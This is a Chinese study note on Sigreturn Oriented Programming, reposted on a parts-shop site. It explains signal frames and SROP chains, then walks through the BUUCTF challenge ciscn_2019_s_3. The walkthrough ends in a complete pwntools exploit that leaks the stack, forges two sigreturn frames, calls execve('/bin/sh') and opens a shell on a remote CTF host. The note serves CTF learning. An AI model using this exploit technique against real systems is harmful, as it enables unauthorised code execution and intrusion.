资讯详情

SROP 学习笔记

文章目录

  • 一、基本介绍
  • 二、signal 机制
  • 三、攻击原理
  • 四、SROP chain的构造
  • 五、关于使用
  • 六、例题讲解


本文仅记录学习文章,主要是基于CTF wiki主要,然后加例题讲解。

一、基本介绍

SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出相关研究究Framing Signals — A Return to Portable Shellcode在顶级安全会议上发表 Oakland 2014 上,被选为当年 Best Student Papers。其中相关的 paper 以及 slides 链接如下:

http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf

https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf

其中,sigreturn是系统调用,在类中 unix 系统发生 signal 会间接调用。

二、signal 机制

signal 机制是类 unix 一种在系统中相互传递信息的方法。一般来说,我们也称之为软中断信号或软中断。例如,系统可以调用过程 kill 发送软中断信号。信号机制的常见步骤如下图所示: 在这里插入图片描述

1.内核发送到一个过程 signal 该过程将暂时悬挂并进入内核状态。(①)

2.**内核将为此过程保存相应的上下文,主要是将所有寄存器压入堆栈和堆栈 signal 信息,方向 sigreturn 系统调用地址。**此时,栈的结构如下图所示,我们称之为 ucontext 以及 siginfo 这一段为 Signal Frame。**需要注意的是,这部分是在用户流程的地址空间。**之后会跳转到注册过的地方 signal handler 相应的中处理 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。(②③) 关于signal handler什么可以参考?https://www.jianshu.com/p/c5205495df2b

对于 signal Frame 由于架构的不同,会有所不同,这里分别给出 x86 以及 x64 的 sigcontext

  • x86
struct sigcontext { 
           unsigned short gs, __gsh;   unsigned short fs, __fsh;   unsigned short es, __esh;   unsigned short ds, __dsh;   unsigned long edi;   unsigned long esi;   unsigned long ebp;   unsigned long esp;   unsigned long ebx;   unsigned long edx;   unsigned long ecx;   unsigned long eax;   unsigned long trapno;   unsigned long err;   unsigned long eip;   unsigned short cs, __csh;   unsigned long eflags;   unsigned long esp_at_signal;   unsigned short ss, __ssh;   struct _fpstate * fpstate;   unsigned long oldmask;   unsigned long cr2; }; 
  • x64
struct _fpstate { 
           /* FPU environment matching the 64-bit FXSAVE layout.  */   __uint16_t        cwd;   __uint16_t        swd;   __uint16_t        ftw;   __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};

struct sigcontext
{ 
        
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    { 
        
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

3.signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。(④)

三、攻击原理

仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。

我们可以伪造Signal Frame,然后通过调用sigreturn信号,用来控制各种寄存器的值(这就是恢复函数调用前现场的解释),用网上的例子,我们伪造Signal Frame如下

四、SROP chain的构造

根据第三点,我们很容易发现,我们是有办法通过多次调用 sigreturn函数实现,要实现这一点我们必须满足下面条件

举个例子,就可以实现如下效果

  • 第一,栈溢出可以实现较长字符的输入,因为一个Signal Frame就有0xf8长度
  • 第二,需要得到栈地址,才能正确的pop出esp的位置,否则也不能实现SROP chain
  • 第三,调用各种函数,需要自己准备必备的条件,比如调用execve,就需要准备/bin/sh字符串

五、关于利用

首先我们上面将的原理,基本上没有和实际操作系统,怎么找syscall gadget和syscall ret相结合,具体有兴趣的可以看一下论文。

这里还是讲讲CTF中的利用,


	payload = "A"*0x10 + p64(mov_rax_0f) + p64(syscall_ret)
	
	sigframe_1 = SigreturnFrame()       #利用就是在这里开始的,和python的类操作一致
	offset = stack_leak - 0x118 + len(payload) + len(sigframe_1)

	sigframe_1.rax = constants.SYS_read
	sigframe_1.rdi = 0
	sigframe_1.rsi = bin_sh
	sigframe_1.rdx = 0x300
	sigframe_1.rsp = offset
	sigframe_1.rip = syscall_ret

	payload += str(sigframe_1)
	payload += p64(mov_rax_0f) + p64(syscall_ret) 

六、例题讲解

我们引用BUUCTF中的ciscn_2019_s_3作为例子讲解一下

首先我们分析一下题目,代码非常简单,关注两个函数 ,我们可以看到就是一个read和write的调用,但是这里输入的位置在rsp-0x10位置,长度为0x400,明显有一个范围很大的栈溢出

然后我们注意一下,上图中就有了syscall_ret对吧,随后我们看一下gadget函数,我们可以控制rax变成0xf或者是0x3b,直接调用0x3b是不现实的,所以我们用SROP的方法

想要达成SROP,我们需要知道栈空间的地址结构,可以通过vuln函数中sys_write函数,泄露main函数存储的某个值,然后再vuln函数的返回地址再指向vlun函数

通过第一步,我们又第二次来到了vuln函数,通过栈溢出构造SROP链了,大致的思路是调用sys_read将/bin/sh\x00写入到data段一个指定的位置,然后再调用sys_execve函数执行shell即可

最终就可以实现getshell了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26815
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./ciscn_s_3")
	#pwnlib.gdb.attach(conn,"b vuln\nb *0x400517\n")
	pause()

	mov_rax_3b = 0x4004e3
	mov_rax_0f = 0x4004DA
	bin_sh = 0x601000
	vuln = 0x04004ED
	syscall_ret = 0x400517	


	'''第一步:泄露栈地址'''
	payload = "A"*0x10 + p64(vuln)
	conn.send(payload)
	conn.recvuntil("A"*0x10)
	conn.recv(0x10)
	stack_leak = u64(conn.recv(8))
	print "The stack leak is",hex(stack_leak)

	'''第二步:构造SROP链'''
	payload = "A"*0x10 + p64(mov_rax_0f) + p64(syscall_ret)
	sigframe_1 = SigreturnFrame()
	offset = stack_leak - 0x118 + len(payload) + len(sigframe_1) #这一步需要注意,算准rsp返回的位置

	#第一个sigframe,用于将/bin/sh写入data段
	sigframe_1.rax = constants.SYS_read
	sigframe_1.rdi = 0
	sigframe_1.rsi = bin_sh
	sigframe_1.rdx = 0x300
	sigframe_1.rsp = offset
	sigframe_1.rip = syscall_ret

	payload += str(sigframe_1)
	payload += p64(mov_rax_0f) + p64(syscall_ret) 

	#第二个sigframe,用于调用execve来getshell
	sigframe_2 = SigreturnFrame()
	sigframe_2.rax = constants.SYS_execve
	sigframe_2.rdi = bin_sh
	sigframe_2.rsi = 0
	sigframe_2.rdx = 0
	sigframe_2.rsp = offset + 0x10 + len(sigframe_2)
	sigframe_2.rip = syscall_ret
	payload += str(sigframe_2)
	payload += p64(vuln)
	conn.send(payload)
	
	pause()
	conn.send("/bin/sh\x00")		#写入data段的输入
	
	conn.interactive()

标签: esh悬臂梁传感器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台